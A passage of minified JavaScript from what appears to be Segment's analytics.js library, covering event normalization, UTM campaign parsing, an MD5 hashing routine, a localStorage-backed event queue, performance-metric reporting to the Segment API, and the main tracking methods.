i,o,s,a,u,c,l=e.user();t.context=null!==(o=null!==(i=t.context)&&void 0!==i?i:t.options)&&void 0!==o?o:{};var f=t.context,h="string"==typeof(null===(s=f.page)||void 0===s?void 0:s.search)?null===(a=f.page)||void 0===a?void 0:a.search:"";delete t.options,t.writeKey=null==n?void 0:n.apiKey,f.userAgent=navigator.userAgent;var d=navigator.userLanguage||navigator.language;if(void 0===f.locale&&void 0!==d&&(f.locale=d),!f.library){var p=An();f.library="web"===p?{name:"analytics.js",version:"next-".concat(dn)}:{name:"analytics.js",version:"npm:next-".concat(dn)}}h&&!f.campaign&&(f.campaign=function(e){return e.startsWith("?")&&(e=e.substring(1)),(e=e.replace(/\?/g,"&")).split("&").reduce((function(e,t){var n=t.split("="),r=n[0],i=n[1],o=void 0===i?"":i;if(r.includes("utm_")&&r.length>4){var s=r.substr(4);"campaign"===s&&(s="name"),e[s]=yn(o)}return e}),{})}(h)),Nn(h,f,null!==(u=e.options.disableClientPersistence)&&void 0!==u&&u),t.userId=t.userId||l.id(),t.anonymousId=t.anonymousId||l.anonymousId(),t.sentAt=new Date;var g=e.queue.failedInitializations||[];g.length>0&&(t._metadata={failedInitializations:g});var y=[],v=[];for(var m in r){var _=r[m];"Segment.io"===m&&y.push(m),"bundled"===_.bundlingStatus&&y.push(m),"unbundled"===_.bundlingStatus&&v.push(m)}for(var b=0,w=(null==n?void 0:n.unbundledIntegrations)||[];b<w.length;b++){var E=w[b];v.includes(E)||v.push(E)}var S=null!==(c=null==n?void 0:n.maybeBundledConfigIds)&&void 0!==c?c:{},O=[];y.sort().forEach((function(e){var t;(null!==(t=S[e])&&void 0!==t?t:[]).forEach((function(e){O.push(e)}))})),!1!==(null==n?void 0:n.addBundledMetadata)&&(t._metadata=vt(vt({},t._metadata),{bundled:y.sort(),unbundled:v.sort(),bundledIds:O}));var x=function(){var e=gn.get("_ga");if(e&&e.startsWith("amp"))return e}();return x&&(f.amp={id:x}),t}var Mn="api.segment.io/v1";function Ln(e){console.error("Error sending segment performance metrics",e)}var jn,Un=function(){function e(e){var t,n,r,i,o=this;if(this.host=null!==(t=null==e?void 0:e.host)&&void 0!==t?t:Mn,this.sampleRate=null!==(n=null==e?void 0:e.sampleRate)&&void 0!==n?n:1,this.flushTimer=null!==(r=null==e?void 0:e.flushTimer)&&void 0!==r?r:3e4,this.maxQueueSize=null!==(i=null==e?void 0:e.maxQueueSize)&&void 0!==i?i:20,this.queue=[],this.sampleRate>0){var s=!1,a=function(){s||(s=!0,o.flush().catch(Ln),s=!1,setTimeout(a,o.flushTimer))};a()}}return e.prototype.increment=function(e,t){if(e.includes("analytics_js.")&&0!==t.length&&!(Math.random()>this.sampleRate||this.queue.length>=this.maxQueueSize)){var n=function(e,t,n){var r=t.reduce((function(e,t){var n=t.split(":"),r=n[0],i=n[1];return e[r]=i,e}),{});return{type:"Counter",metric:e,value:1,tags:vt(vt({},r),{library:"analytics.js",library_version:"web"===n?"next-".concat(dn):"npm:next-".concat(dn)})}}(e,t,An());this.queue.push(n),e.includes("error")&&this.flush().catch(Ln)}},e.prototype.flush=function(){return mt(this,void 0,void 0,(function(){var e=this;return _t(this,(function(t){switch(t.label){case 0:return this.queue.length<=0?[2]:[4,this.send().catch((function(t){Ln(t),e.sampleRate=0}))];case 1:return t.sent(),[2]}}))}))},e.prototype.send=function(){return mt(this,void 0,void 0,(function(){var e,t,n;return _t(this,(function(r){return e={series:this.queue},this.queue=[],t={"Content-Type":"text/plain"},n="https://".concat(this.host,"/m"),[2,hn(n,{headers:t,body:JSON.stringify(e),method:"POST"})]}))}))},e}(),Dn=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return yt(t,e),t.initRemoteMetrics=function(e){jn=new Un(e)},t.prototype.increment=function(t,n,r){e.prototype.increment.call(this,t,n,r),null==jn||jn.increment(t,null!=r?r:[])},t}(Kt),zn=function(e){function t(t,n){return e.call(this,t,n,new Dn)||this}return yt(t,e),t.system=function(){return new this({type:"track",event:"system"})},t}(Qt),Fn={exports:{}};!function(e,t){e.exports=function(e){var t=["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"];function n(e,t){var n=e[0],r=e[1],i=e[2],o=e[3];r=((r+=((i=((i+=((o=((o+=((n=((n+=(r&i|~r&o)+t[0]-680876936|0)<<7|n>>>25)+r|0)&r|~n&i)+t[1]-389564586|0)<<12|o>>>20)+n|0)&n|~o&r)+t[2]+606105819|0)<<17|i>>>15)+o|0)&o|~i&n)+t[3]-1044525330|0)<<22|r>>>10)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r&i|~r&o)+t[4]-176418897|0)<<7|n>>>25)+r|0)&r|~n&i)+t[5]+1200080426|0)<<12|o>>>20)+n|0)&n|~o&r)+t[6]-1473231341|0)<<17|i>>>15)+o|0)&o|~i&n)+t[7]-45705983|0)<<22|r>>>10)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r&i|~r&o)+t[8]+1770035416|0)<<7|n>>>25)+r|0)&r|~n&i)+t[9]-1958414417|0)<<12|o>>>20)+n|0)&n|~o&r)+t[10]-42063|0)<<17|i>>>15)+o|0)&o|~i&n)+t[11]-1990404162|0)<<22|r>>>10)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r&i|~r&o)+t[12]+1804603682|0)<<7|n>>>25)+r|0)&r|~n&i)+t[13]-40341101|0)<<12|o>>>20)+n|0)&n|~o&r)+t[14]-1502002290|0)<<17|i>>>15)+o|0)&o|~i&n)+t[15]+1236535329|0)<<22|r>>>10)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r&o|i&~o)+t[1]-165796510|0)<<5|n>>>27)+r|0)&i|r&~i)+t[6]-1069501632|0)<<9|o>>>23)+n|0)&r|n&~r)+t[11]+643717713|0)<<14|i>>>18)+o|0)&n|o&~n)+t[0]-373897302|0)<<20|r>>>12)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r&o|i&~o)+t[5]-701558691|0)<<5|n>>>27)+r|0)&i|r&~i)+t[10]+38016083|0)<<9|o>>>23)+n|0)&r|n&~r)+t[15]-660478335|0)<<14|i>>>18)+o|0)&n|o&~n)+t[4]-405537848|0)<<20|r>>>12)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r&o|i&~o)+t[9]+568446438|0)<<5|n>>>27)+r|0)&i|r&~i)+t[14]-1019803690|0)<<9|o>>>23)+n|0)&r|n&~r)+t[3]-187363961|0)<<14|i>>>18)+o|0)&n|o&~n)+t[8]+1163531501|0)<<20|r>>>12)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r&o|i&~o)+t[13]-1444681467|0)<<5|n>>>27)+r|0)&i|r&~i)+t[2]-51403784|0)<<9|o>>>23)+n|0)&r|n&~r)+t[7]+1735328473|0)<<14|i>>>18)+o|0)&n|o&~n)+t[12]-1926607734|0)<<20|r>>>12)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r^i^o)+t[5]-378558|0)<<4|n>>>28)+r|0)^r^i)+t[8]-2022574463|0)<<11|o>>>21)+n|0)^n^r)+t[11]+1839030562|0)<<16|i>>>16)+o|0)^o^n)+t[14]-35309556|0)<<23|r>>>9)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r^i^o)+t[1]-1530992060|0)<<4|n>>>28)+r|0)^r^i)+t[4]+1272893353|0)<<11|o>>>21)+n|0)^n^r)+t[7]-155497632|0)<<16|i>>>16)+o|0)^o^n)+t[10]-1094730640|0)<<23|r>>>9)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r^i^o)+t[13]+681279174|0)<<4|n>>>28)+r|0)^r^i)+t[0]-358537222|0)<<11|o>>>21)+n|0)^n^r)+t[3]-722521979|0)<<16|i>>>16)+o|0)^o^n)+t[6]+76029189|0)<<23|r>>>9)+i|0,r=((r+=((i=((i+=((o=((o+=((n=((n+=(r^i^o)+t[9]-640364487|0)<<4|n>>>28)+r|0)^r^i)+t[12]-421815835|0)<<11|o>>>21)+n|0)^n^r)+t[15]+530742520|0)<<16|i>>>16)+o|0)^o^n)+t[2]-995338651|0)<<23|r>>>9)+i|0,r=((r+=((o=((o+=(r^((n=((n+=(i^(r|~o))+t[0]-198630844|0)<<6|n>>>26)+r|0)|~i))+t[7]+1126891415|0)<<10|o>>>22)+n|0)^((i=((i+=(n^(o|~r))+t[14]-1416354905|0)<<15|i>>>17)+o|0)|~n))+t[5]-57434055|0)<<21|r>>>11)+i|0,r=((r+=((o=((o+=(r^((n=((n+=(i^(r|~o))+t[12]+1700485571|0)<<6|n>>>26)+r|0)|~i))+t[3]-1894986606|0)<<10|o>>>22)+n|0)^((i=((i+=(n^(o|~r))+t[10]-1051523|0)<<15|i>>>17)+o|0)|~n))+t[1]-2054922799|0)<<21|r>>>11)+i|0,r=((r+=((o=((o+=(r^((n=((n+=(i^(r|~o))+t[8]+1873313359|0)<<6|n>>>26)+r|0)|~i))+t[15]-30611744|0)<<10|o>>>22)+n|0)^((i=((i+=(n^(o|~r))+t[6]-1560198380|0)<<15|i>>>17)+o|0)|~n))+t[13]+1309151649|0)<<21|r>>>11)+i|0,r=((r+=((o=((o+=(r^((n=((n+=(i^(r|~o))+t[4]-145523070|0)<<6|n>>>26)+r|0)|~i))+t[11]-1120210379|0)<<10|o>>>22)+n|0)^((i=((i+=(n^(o|~r))+t[2]+718787259|0)<<15|i>>>17)+o|0)|~n))+t[9]-343485551|0)<<21|r>>>11)+i|0,e[0]=n+e[0]|0,e[1]=r+e[1]|0,e[2]=i+e[2]|0,e[3]=o+e[3]|0}function r(e){var t,n=[];for(t=0;t<64;t+=4)n[t>>2]=e.charCodeAt(t)+(e.charCodeAt(t+1)<<8)+(e.charCodeAt(t+2)<<16)+(e.charCodeAt(t+3)<<24);return n}function i(e){var t,n=[];for(t=0;t<64;t+=4)n[t>>2]=e[t]+(e[t+1]<<8)+(e[t+2]<<16)+(e[t+3]<<24);return n}function o(e){var t,i,o,s,a,u,c=e.length,l=[1732584193,-271733879,-1732584194,271733878];for(t=64;t<=c;t+=64)n(l,r(e.substring(t-64,t)));for(i=(e=e.substring(t-64)).length,o=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],t=0;t<i;t+=1)o[t>>2]|=e.charCodeAt(t)<<(t%4<<3);if(o[t>>2]|=128<<(t%4<<3),t>55)for(n(l,o),t=0;t<16;t+=1)o[t]=0;return s=(s=8*c).toString(16).match(/(.*?)(.{0,8})$/),a=parseInt(s[2],16),u=parseInt(s[1],16)||0,o[14]=a,o[15]=u,n(l,o),l}function s(e){var t,r,o,s,a,u,c=e.length,l=[1732584193,-271733879,-1732584194,271733878];for(t=64;t<=c;t+=64)n(l,i(e.subarray(t-64,t)));for(r=(e=t-64<c?e.subarray(t-64):new Uint8Array(0)).length,o=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],t=0;t<r;t+=1)o[t>>2]|=e[t]<<(t%4<<3);if(o[t>>2]|=128<<(t%4<<3),t>55)for(n(l,o),t=0;t<16;t+=1)o[t]=0;return s=(s=8*c).toString(16).match(/(.*?)(.{0,8})$/),a=parseInt(s[2],16),u=parseInt(s[1],16)||0,o[14]=a,o[15]=u,n(l,o),l}function a(e){var n,r="";for(n=0;n<4;n+=1)r+=t[e>>8*n+4&15]+t[e>>8*n&15];return r}function u(e){var t;for(t=0;t<e.length;t+=1)e[t]=a(e[t]);return e.join("")}function c(e){return/[\u0080-\uFFFF]/.test(e)&&(e=unescape(encodeURIComponent(e))),e}function l(e,t){var n,r=e.length,i=new ArrayBuffer(r),o=new Uint8Array(i);for(n=0;n<r;n+=1)o[n]=e.charCodeAt(n);return t?o:i}function f(e){return String.fromCharCode.apply(null,new Uint8Array(e))}function h(e,t,n){var r=new Uint8Array(e.byteLength+t.byteLength);return r.set(new Uint8Array(e)),r.set(new Uint8Array(t),e.byteLength),n?r:r.buffer}function d(e){var t,n=[],r=e.length;for(t=0;t<r-1;t+=2)n.push(parseInt(e.substr(t,2),16));return String.fromCharCode.apply(String,n)}function p(){this.reset()}return u(o("hello")),"undefined"==typeof ArrayBuffer||ArrayBuffer.prototype.slice||function(){function t(e,t){return(e=0|e||0)<0?Math.max(e+t,0):Math.min(e,t)}ArrayBuffer.prototype.slice=function(n,r){var i,o,s,a,u=this.byteLength,c=t(n,u),l=u;return r!==e&&(l=t(r,u)),c>l?new ArrayBuffer(0):(i=l-c,o=new ArrayBuffer(i),s=new Uint8Array(o),a=new Uint8Array(this,c,i),s.set(a),o)}}(),p.prototype.append=function(e){return this.appendBinary(c(e)),this},p.prototype.appendBinary=function(e){this._buff+=e,this._length+=e.length;var t,i=this._buff.length;for(t=64;t<=i;t+=64)n(this._hash,r(this._buff.substring(t-64,t)));return this._buff=this._buff.substring(t-64),this},p.prototype.end=function(e){var t,n,r=this._buff,i=r.length,o=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(t=0;t<i;t+=1)o[t>>2]|=r.charCodeAt(t)<<(t%4<<3);return this._finish(o,i),n=u(this._hash),e&&(n=d(n)),this.reset(),n},p.prototype.reset=function(){return this._buff="",this._length=0,this._hash=[1732584193,-271733879,-1732584194,271733878],this},p.prototype.getState=function(){return{buff:this._buff,length:this._length,hash:this._hash.slice()}},p.prototype.setState=function(e){return this._buff=e.buff,this._length=e.length,this._hash=e.hash,this},p.prototype.destroy=function(){delete this._hash,delete this._buff,delete this._length},p.prototype._finish=function(e,t){var r,i,o,s=t;if(e[s>>2]|=128<<(s%4<<3),s>55)for(n(this._hash,e),s=0;s<16;s+=1)e[s]=0;r=(r=8*this._length).toString(16).match(/(.*?)(.{0,8})$/),i=parseInt(r[2],16),o=parseInt(r[1],16)||0,e[14]=i,e[15]=o,n(this._hash,e)},p.hash=function(e,t){return p.hashBinary(c(e),t)},p.hashBinary=function(e,t){var n=u(o(e));return t?d(n):n},p.ArrayBuffer=function(){this.reset()},p.ArrayBuffer.prototype.append=function(e){var t,r=h(this._buff.buffer,e,!0),o=r.length;for(this._length+=e.byteLength,t=64;t<=o;t+=64)n(this._hash,i(r.subarray(t-64,t)));return this._buff=t-64<o?new Uint8Array(r.buffer.slice(t-64)):new Uint8Array(0),this},p.ArrayBuffer.prototype.end=function(e){var t,n,r=this._buff,i=r.length,o=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(t=0;t<i;t+=1)o[t>>2]|=r[t]<<(t%4<<3);return this._finish(o,i),n=u(this._hash),e&&(n=d(n)),this.reset(),n},p.ArrayBuffer.prototype.reset=function(){return this._buff=new Uint8Array(0),this._length=0,this._hash=[1732584193,-271733879,-1732584194,271733878],this},p.ArrayBuffer.prototype.getState=function(){var e=p.prototype.getState.call(this);return e.buff=f(e.buff),e},p.ArrayBuffer.prototype.setState=function(e){return e.buff=l(e.buff,!0),p.prototype.setState.call(this,e)},p.ArrayBuffer.prototype.destroy=p.prototype.destroy,p.ArrayBuffer.prototype._finish=p.prototype._finish,p.ArrayBuffer.hash=function(e,t){var n=u(s(new Uint8Array(e)));return t?d(n):n},p}()}(Fn);var Bn=Fn.exports,Hn=function(){function e(e){this.user=e}return e.prototype.track=function(e,t,n,r){return this.normalize(vt(vt({},this.baseEvent()),{event:e,type:"track",properties:t,options:vt({},n),integrations:vt({},r)}))},e.prototype.page=function(e,t,n,r,i){var o,s={type:"page",properties:vt({},n),options:vt({},r),integrations:vt({},i)};return null!==e&&(s.category=e,s.properties=null!==(o=s.properties)&&void 0!==o?o:{},s.properties.category=e),null!==t&&(s.name=t),this.normalize(vt(vt({},this.baseEvent()),s))},e.prototype.screen=function(e,t,n,r,i){var o={type:"screen",properties:vt({},n),options:vt({},r),integrations:vt({},i)};return null!==e&&(o.category=e),null!==t&&(o.name=t),this.normalize(vt(vt({},this.baseEvent()),o))},e.prototype.identify=function(e,t,n,r){return this.normalize(vt(vt({},this.baseEvent()),{type:"identify",userId:e,traits:t,options:vt({},n),integrations:vt({},r)}))},e.prototype.group=function(e,t,n,r){return this.normalize(vt(vt({},this.baseEvent()),{type:"group",traits:t,options:vt({},n),integrations:vt({},r),groupId:e}))},e.prototype.alias=function(e,t,n,r){var i={userId:e,type:"alias",options:vt({},n),integrations:vt({},r)};return null!==t&&(i.previousId=t),void 0===e?this.normalize(vt(vt({},i),this.baseEvent())):this.normalize(vt(vt({},this.baseEvent()),i))},e.prototype.baseEvent=function(){var e={integrations:{},options:{}},t=this.user;return t.id()&&(e.userId=t.id()),t.anonymousId()&&(e.anonymousId=t.anonymousId()),e},e.prototype.context=function(e){var t,n,r,i=["integrations","anonymousId","timestamp","userId"],o=null!==(t=e.options)&&void 0!==t?t:{};delete o.integrations;var s=Object.keys(o),a=null!==(r=null===(n=e.options)||void 0===n?void 0:n.context)&&void 0!==r?r:{},u={};return s.forEach((function(e){"context"!==e&&(i.includes(e)?kt(u,e,o[e]):kt(a,e,o[e]))})),[a,u]},e.prototype.normalize=function(e){var t,n,r;(null===(t=e.options)||void 0===t?void 0:t.anonymousId)&&this.user.anonymousId(e.options.anonymousId);var i=Object.keys(null!==(n=e.integrations)&&void 0!==n?n:{}).reduce((function(t,n){var r,i;return vt(vt({},t),((r={})[n]=Boolean(null===(i=e.integrations)||void 0===i?void 0:i[n]),r))}),{}),o=vt(vt({},i),null===(r=e.options)||void 0===r?void 0:r.integrations),s=this.context(e),a=s[0],u=s[1];e.options;var c=function(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(r=Object.getOwnPropertySymbols(e);i<r.length;i++)t.indexOf(r[i])<0&&Object.prototype.propertyIsEnumerable.call(e,r[i])&&(n[r[i]]=e[r[i]])}return n}(e,["options"]),l=vt(vt(vt({timestamp:new Date},c),{context:a,integrations:o}),u),f="ajs-next-"+Bn.hash(JSON.stringify(l)+$t());return vt(vt({},l),{messageId:f})},e}(),qn={getItem:function(){},setItem:function(){},removeItem:function(){}};try{qn=sn()&&window.localStorage?window.localStorage:qn}catch(e){console.warn("Unable to access localStorage",e)}function Vn(e){var t=qn.getItem(e);return(t?JSON.parse(t):[]).map((function(e){return new zn(e.event,e.id)}))}function $n(e){var t=qn.getItem(e);return t?JSON.parse(t):{}}function Wn(e){qn.removeItem(e)}function Kn(e,t,n){void 0===n&&(n=0);var r="persisted-queue:v1:".concat(e,":lock"),i=qn.getItem(r),o=i?JSON.parse(i):null,s=null===o||function(e){return(new Date).getTime()>e}(o);if(s)return qn.setItem(r,JSON.stringify((new Date).getTime()+50)),t(),void qn.removeItem(r);!s&&n<3?setTimeout((function(){Kn(e,t,n+1)}),50):console.error("Unable to retrieve lock")}var Gn=function(e){function t(t,n){var r=e.call(this,t,[])||this,i="persisted-queue:v1:".concat(n,":items"),o="persisted-queue:v1:".concat(n,":seen"),s=[],a={};return Kn(n,(function(){try{s=Vn(i),a=$n(o),Wn(i),Wn(o),r.queue=bt(bt([],s,!0),r.queue,!0),r.seen=vt(vt({},a),r.seen)}catch(e){console.error(e)}})),window.addEventListener("pagehide",(function(){if(r.todo>0){var e=bt(bt([],r.queue,!0),r.future,!0);try{Kn(n,(function(){!function(e,t){var n=Vn(e),r=bt(bt([],t,!0),n,!0).reduce((function(e,t){var n;return vt(vt({},e),((n={})[t.id]=t,n))}),{});qn.setItem(e,JSON.stringify(Object.values(r)))}(i,e),function(e,t){var n=$n(e);qn.setItem(e,JSON.stringify(vt(vt({},n),t)))}(o,r.seen)}))}catch(e){console.error(e)}}})),r}return yt(t,e),t}(Ht),Yn=function(e){function t(t){return e.call(this,"string"==typeof t?new Gn(4,t):t)||this}return yt(t,e),t.prototype.flush=function(){return mt(this,void 0,void 0,(function(){return _t(this,(function(t){return cn()?[2,[]]:[2,e.prototype.flush.call(this)]}))}))},t}(Zt),Qn="This is being deprecated and will be not be available in future releases of Analytics JS",Jn=fn(),Xn=null==Jn?void 0:Jn.analytics;function Zn(){console.warn(Qn)}var er=function(e){function t(t,n,r,i,o){var s,a,u,c=this;(c=e.call(this)||this)._debug=!1,c.initialized=!1,c.user=function(){return c._user},c.init=c.initialize.bind(c),c.log=Zn,c.addIntegrationMiddleware=Zn,c.listeners=Zn,c.addEventListener=Zn,c.removeAllListeners=Zn,c.removeListener=Zn,c.removeEventListener=Zn,c.hasListeners=Zn,c.add=Zn,c.addIntegration=Zn;var l=null==n?void 0:n.cookie,f=null!==(s=null==n?void 0:n.disableClientPersistence)&&void 0!==s&&s;return c.settings=t,c.settings.timeout=null!==(a=c.settings.timeout)&&void 0!==a?a:300,c.queue=null!=r?r:function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!1);var r=t?4:1,i=n?new Ht(r,[]):new Gn(r,e);return new Yn(i)}("".concat(t.writeKey,":event-queue"),null==n?void 0:n.retryQueue,f),c._universalStorage=new On(f?["memory"]:["localStorage","cookie","memory"],xn(l)),c._user=null!=i?i:new Rn(f?vt(vt({},null==n?void 0:n.user),{persist:!1}):null==n?void 0:n.user,l).load(),c._group=null!=o?o:new Cn(f?vt(vt({},null==n?void 0:n.group),{persist:!1}):null==n?void 0:n.group,l).load(),c.eventFactory=new Hn(c._user),c.integrations=null!==(u=null==n?void 0:n.integrations)&&void 0!==u?u:{},c.options=null!=n?n:{},mn(c),c}return yt(t,e),Object.defineProperty(t.prototype,"storage",{get:function(){return this._universalStorage},enumerable:!1,configurable:!0}),t.prototype.track=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n,r,i,o,s,a=this;return _t(this,(function(u){return t=tn.apply(void 0,e),n=t[0],r=t[1],i=t[2],o=t[3],s=this.eventFactory.track(n,r,i,this.integrations),[2,this._dispatch(s,o).then((function(e){return a.emit("track",n,e.event.properties,e.event.options),e}))]}))}))},t.prototype.page=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n,r,i,o,s,a,u=this;return _t(this,(function(c){return t=nn.apply(void 0,e),n=t[0],r=t[1],i=t[2],o=t[3],s=t[4],a=this.eventFactory.page(n,r,i,o,this.integrations),[2,this._dispatch(a,s).then((function(e){return u.emit("page",n,r,e.event.properties,e.event.options),e}))]}))}))},t.prototype.identify=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n,r,i,o,s,a=this;return _t(this,(function(u){return t=rn(this._user).apply(void 0,e),n=t[0],r=t[1],i=t[2],o=t[3],this._user.identify(n,r),s=this.eventFactory.identify(this._user.id(),this._user.traits(),i,this.integrations),[2,this._dispatch(s,o).then((function(e){return a.emit("identify",e.event.userId,e.event.traits,e.event.options),e}))]}))}))},t.prototype.group=function(){for(var e=this,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];if(0===t.length)return this._group;var r=rn(this._group).apply(void 0,t),i=r[0],o=r[1],s=r[2],a=r[3];this._group.identify(i,o);var u=this._group.id(),c=this._group.traits(),l=this.eventFactory.group(u,c,s,this.integrations);return this._dispatch(l,a).then((function(t){return e.emit("group",t.event.groupId,t.event.traits,t.event.options),t}))},t.prototype.alias=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n,r,i,o,s,a=this;return _t(this,(function(u){return t=on.apply(void 0,e),n=t[0],r=t[1],i=t[2],o=t[3],s=this.eventFactory.alias(n,r,i,this.integrations),[2,this._dispatch(s,o).then((function(e){return a.emit("alias",n,r,e.event.options),e}))]}))}))},t.prototype.screen=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n,r,i,o,s,a,u=this;return _t(this,(function(c){return t=nn.apply(void 0,e),n=t[0],r=t[1],i=t[2],o=t[3],s=t[4],a=this.eventFactory.screen(n,r,i,o,this.integrations),[2,this._dispatch(a,s).then((function(e){return u.emit("screen",n,r,e.event.properties,e.event.options),e}))]}))}))},t.prototype.trackClick=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n;return _t(this,(function(r){switch(r.label){case 0:return[4,Promise.resolve().then((function(){return il}))];case 1:return t=r.sent(),[2,(n=t.link).call.apply(n,bt([this],e,!1))]}}))}))},t.prototype.trackLink=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n;return _t(this,(function(r){switch(r.label){case 0:return[4,Promise.resolve().then((function(){return il}))];case 1:return t=r.sent(),[2,(n=t.link).call.apply(n,bt([this],e,!1))]}}))}))},t.prototype.trackSubmit=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n;return _t(this,(function(r){switch(r.label){case 0:return[4,Promise.resolve().then((function(){return il}))];case 1:return t=r.sent(),[2,(n=t.form).call.apply(n,bt([this],e,!1))]}}))}))},t.prototype.trackForm=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n;return _t(this,(function(r){switch(r.label){case 0:return[4,Promise.resolve().then((function(){return il}))];case 1:return t=r.sent(),[2,(n=t.form).call.apply(n,bt([this],e,!1))]}}))}))},t.prototype.register=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n,r=this;return _t(this,(function(i){switch(i.label){case 0:return t=zn.system(),n=e.map((function(e){return r.queue.register(t,e,r)})),[4,Promise.all(n)];case 1:return i.sent(),[2,t]}}))}))},t.prototype.deregister=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return mt(this,void 0,void 0,(function(){var t,n,r=this;return _t(this,(function(i){switch(i.label){case 0:return t=zn.system(),n=e.map((function(e){var n=r.queue.plugins.find((function(t){return t.name===e}));if(n)return r.queue.deregister(t,n,r);t.log("warn","plugin ".concat(e," not found"))})),[4,Promise.all(n)];case 1:return i.sent(),[2,t]}}))}))},t.prototype.debug=function(e){return!1===e&&localStorage.getItem("debug")&&localStorage.removeItem("debug"),this._debug=e,this},t.prototype.reset=function(){this._user.reset(),this._group.reset(),this.emit("reset")},t.prototype.timeout=function(e){this.settings.timeout=e},t.prototype._dispatch=function(e,t){return mt(this,void 0,void 0,(function(){var n;return _t(this,(function(r){return n=new zn(e),cn()&&!this.options.retryQueue?[2,n]:[2,en(n,this.queue,this,{callback:t,debug:this._debug,timeout:this.settings.timeout})]}))}))},t.prototype.addSourceMiddleware=function(e){return mt(this,void 0,void 0,(function(){var t=this;return _t(this,(function(n){switch(n.label){case 0:return[4,this.queue.criticalTasks.run((function(){return mt(t,void 0,void 0,(function(){var t,n,r;return _t(this,(function(i){switch(i.label){case 0:return[4,Promise.resolve().then((function(){return Ji}))];case 1:return t=i.sent().sourceMiddlewarePlugin,n={},this.queue.plugins.forEach((function(e){if("destination"===e.type)return n[e.name]=!0})),r=t(e,n),[4,this.register(r)];case 2:return i.sent(),[2]}}))}))}))];case 1:return n.sent(),[2,this]}}))}))},t.prototype.addDestinationMiddleware=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return this.queue.plugins.filter((function(t){return t.name.toLowerCase()===e.toLowerCase()})).forEach((function(e){e.addMiddleware.apply(e,t)})),Promise.resolve(this)},t.prototype.setAnonymousId=function(e){return this._user.anonymousId(e)},t.prototype.queryString=function(e){return mt(this,void 0,void 0,(function(){return _t(this,(function(t){switch(t.label){case 0:return!1===this.options.useQueryString?[2,[]]:[4,Promise.resolve().then((function(){return sl}))];case 1:return[2,(0,t.sent().queryString)(this,e)]}}))}))},t.prototype.use=function(e){return e(this),this},t.prototype.ready=function(e){return void 0===e&&(e=function(e){return e}),mt(this,void 0,void 0,(function(){return _t(this,(function(t){return[2,Promise.all(this.queue.plugins.map((function(e){return e.ready?e.ready():Promise.resolve()}))).then((function(t){return e(t),t}))]}))}))},t.prototype.noConflict=function(){return console.warn(Qn),window.analytics=null!=Xn?Xn:this,this},t.prototype.normalize=function(e){return console.warn(Qn),this.eventFactory.normalize(e)},Object.defineProperty(t.prototype,"failedInitializations",{get:function(){return console.warn(Qn),this.queue.failedInitializations},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"VERSION",{get:function(){return dn},enumerable:!1,configurable:!0}),t.prototype.initialize=function(e,t){return mt(this,void 0,void 0,(function(){return _t(this,(function(e){return console.warn(Qn),[2,Promise.resolve(this)]}))}))},t.prototype.pageview=function(e){return mt(this,void 0,void 0,(function(){return _t(this,(function(t){switch(t.label){case 0:return console.warn(Qn),[4,this.page({path:e})];case 1:return t.sent(),[2,this]}}))}))},Object.defineProperty(t.prototype,"plugins",{get:function(){var e;return console.warn(Qn),null!==(e=this._plugins)&&void 0!==e?e:{}},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"Integrations",{get:function(){console.warn(Qn);var e=this.queue.plugins.filter((function(e){return"destination"===e.type})).reduce((function(e,t){var n="".concat(t.name.toLowerCase().replace(".","").split(" ").join("-"),"Integration"),r=window[n];if(!r)return e;var i=r.Integration;return i?(e[t.name]=i,e):(e[t.name]=r,e)}),{});return e},enumerable:!1,configurable:!0}),t.prototype.push=function(e){var t=e.shift();t&&!this[t]||this[t].apply(this,e)},t}(wt);function tr(){return"undefined"!=typeof process&&process.env?process.env:{}}try{window.analyticsWriteKey="__WRITE_KEY__"}catch(J){}var nr,rr=/(https:\/\/.*)\/analytics\.js\/v1\/(?:.*?)\/(?:platform|analytics.*)?/,ir=function(){var e=function(){var e;return null!=nr?nr:null===(e=window.analytics)||void 0===e?void 0:e._cdn}();if(e)return e;var 